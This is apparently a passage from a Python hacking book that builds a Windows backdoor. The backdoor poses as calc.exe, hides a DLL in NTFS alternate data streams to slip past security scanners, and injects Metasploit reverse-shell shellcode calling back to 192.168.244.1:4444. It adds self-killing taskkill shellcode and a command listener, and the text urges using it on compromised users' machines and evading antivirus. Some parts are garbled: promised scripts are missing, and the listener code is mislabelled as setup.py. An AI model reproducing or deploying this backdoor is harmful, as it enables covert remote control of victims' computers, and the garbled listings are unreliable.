Getting Evil

Now let's put some of our injection skills to bad use. We will create a devious little backdoor that can be used to gain control of a system any time an executable of our choosing gets run. When our executable gets run, we will perform execution redirection by spawning the original executable that the user wanted (for instance, we'll name our binary calc.exe and move the original calc.exe to a known location). When the second process loads, we code inject it to give us a shell connection to the target machine. After the shellcode has run and we have our shell connection, we inject a second piece of code into the remote process that kills the process we are currently running inside.

Wait a second! Couldn't we just let our calc.exe process exit? In short, yes. But process termination is a key technique for a backdoor to support. For example, you could combine some process-iteration code that you learned in earlier chapters and apply it to try to find antivirus or software firewalls running and simply kill them. It is also important so that you can migrate from one process to another and kill the process you left behind if you don't need it anymore.

We will also be showing how to compile Python scripts into real standalone Windows executables and how to covertly ship DLLs within the primary executable. Let's see how to apply a little stealth to create some stowaway DLLs.

In order for us to safely distribute an injectable DLL with our backdoor, we need a stealthy way of storing the file as to not attract too much attention. We could use a wrapper, which takes two executables (including DLLs) and wraps them together as one, but this is a book about hacking with Python, so we have to get a bit more creative.

To hide files inside executables, we are going to abuse a legacy feature of the NTFS filesystem called alternate data streams (ADS). Alternate data streams have been around since Windows NT 3.1 and were introduced as a means to communicate with the Apple hierarchical file system (HFS). ADS enables us to have a single file on disk and store the DLL in a stream that is attached to the primary executable. A stream is really nothing more than a hidden file that is attached to the file that you can see on disk.

By using an alternate data stream, we are hiding the DLL from the user's immediate view. Without specialized tools, a computer user can't see the contents of ADSs, which is ideal for us. In addition, a number of security products don't properly scan alternate data streams, so we have a good chance of slipping underneath their radar to avoid detection.

To use an alternate data stream on a file, we'll need to do nothing more than append a colon and a filename to an existing file, like so:

reverser.exe:vncdll.dll

In this case we are accessing vncdll.dll, which is stored in an alternate data stream attached to reverser.exe. Let's write a quick utility script that simply reads in a file and writes it out to an ADS attached to a file of our choosing. Open an additional Python script called file_hider.py and enter the following code.

Let's start by building our execution redirection code, which very simply starts up an application of our choosing. The reason it's called execution redirection is because we will name our backdoor calc.exe and move the original calc.exe to a different location. When the user attempts to use the calculator, she will be inadvertently running our backdoor, which in turn will start the proper calculator and thus not alert the user that anything is amiss. Note that we are including the my_debugger_defines.py file from Chapter 3, which contains all of the necessary constants and structs in order to do the process creation. Open a new Python file, name it backdoor.py, and enter the following code.

# This library is from Chapter 3 and contains all
# the necessary defines for process creation
import sys
from ctypes import *
from my_debugger_defines import *

kernel32                = windll.kernel32

PAGE_EXECUTE_READWRITE         = 0x00000040
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

# This is the original executable
path_to_exe             = "C:\\calc.exe"

startupinfo             = STARTUPINFO()
process_information     = PROCESS_INFORMATION()
creation_flags          = CREATE_NEW_CONSOLE
startupinfo.dwFlags     = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb          = sizeof(startupinfo)

# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
                        None,
                        None,
                        None,
                        None,
                        creation_flags,
                        None,
                        None,
                        byref(startupinfo),
                        byref(process_information))

pid = process_information.dwProcessId

Not too complicated, and there is no new code in there. Before we move into the DLL injection code, we are going to explore how we can hide the DLL itself before using it for the injection. Let's add our injection code to the backdoor; just tack it on right after the process-creation section. Our injection function will also be able to handle code or DLL injection; simply set the parameter flag to 1, and the data variable will then contain the path to the DLL. We aren't going for clean here; we're going for quick and dirty. Let's add the injection capabilities to our backdoor.py file.

...

# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves
#/* win32_reverse -  EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \
"\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"

inject( pid, connect_back_shellcode )

#/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
our_pid = str( kernel32.GetCurrentProcessId() )

process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding       = 4 - ( len( our_pid ) )
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x41" * 4
process_killer_shellcode     =
process_killer_shellcode.replace( replace_string, replace_value )

# Pop the process killing shellcode in
inject( our_pid, process_killer_shellcode )

All right! We pass in the process ID of our backdoor process and inject the shellcode into the process we spawned (the second calc.exe, the one with buttons and numbers on it), which then kills our backdoor. We now have a fairly comprehensive backdoor that utilizes some stealth, and better yet, we get access to the target machine every time someone runs the application we are interested in. An approach you can use in the field is if you have compromised a user's system and the user has access to propriety or password-protected software, you can swap out the binaries. Any time the user launches the process and logs in, you are given a shell where you can start monitoring keystrokes, sniffing packets, or whatever you choose. We have one small thing to take care of: How are we going to guarantee that the remote user has Python installed so we can run our backdoor? We don't! Read on to learn the magic of a Python library called py2exe, which will take our Python code and turn it into a real Windows executable.

A handy Python library called py2exe[36] allows you to compile a Python script into a full-fledged Windows executable. You must use py2exe on a Windows machine, so keep this in mind as we proceed through the following steps. Once you run the py2exe installer, you are ready to use it inside a build script. In order to compile our backdoor, we create a simple setup script that defines how we want the executable to be built. Open a new file, name it setup.py, and enter the following lines.

import socket
import sys

host = "192.168.244.1"
port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

server.bind( ( host, port ) )
server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )
connected = False
while 1:

    #accept connections from outside
    if not connected:
        (client, address) = server.accept()
        connected = True

    print "[*] Accepted Shell Connection"
    buffer = ""

    while 1:
        try:
            recv_buffer = client.recv(4096)

            print "[*] Received: %s" % recv_buffer
            if not len(recv_buffer):
                break
            else:
                buffer += recv_buffer
        except:
            break

    # We've received everything, now it's time to send some input
    command = raw_input("Enter Command> ")
    client.sendall( command + "\r\n\r\n" )
    print "[*] Sent => %s" % command

This is a very simple socket server that merely takes in a connection and does basic reading and writing. Fire up the server, with the host and port variables set for your environment. Once it's running, take your calc.exe onto a remote system (your local Windows box will work as well) and run it. You should see the calculator interface pop up, and your Python shell server should have registered a connection and received some data. In order to break the recv loop, hit ctrl-C, and it will prompt you to enter a command. Feel free to get creative here, but you can try things like dir, cd, and type, which are all native Windows shell commands. For each command you enter, you will receive its output. Now you have a means of communicating with your backdoor that's efficient and somewhat stealthy. Use your imagination and expand on some of the functionality; think of stealth and antivirus evasion. The nice thing about developing it in Python is that it's quick, easy, and reusable.

As you have seen in this chapter, DLL and code injection are two very useful and very powerful techniques. You are now armed with another skill that will come in handy during penetration tests or for reverse engineering. Our next focus will be how to break software using Python-based fuzzers, using both your own and some excellent open source tools. Let's torture some software.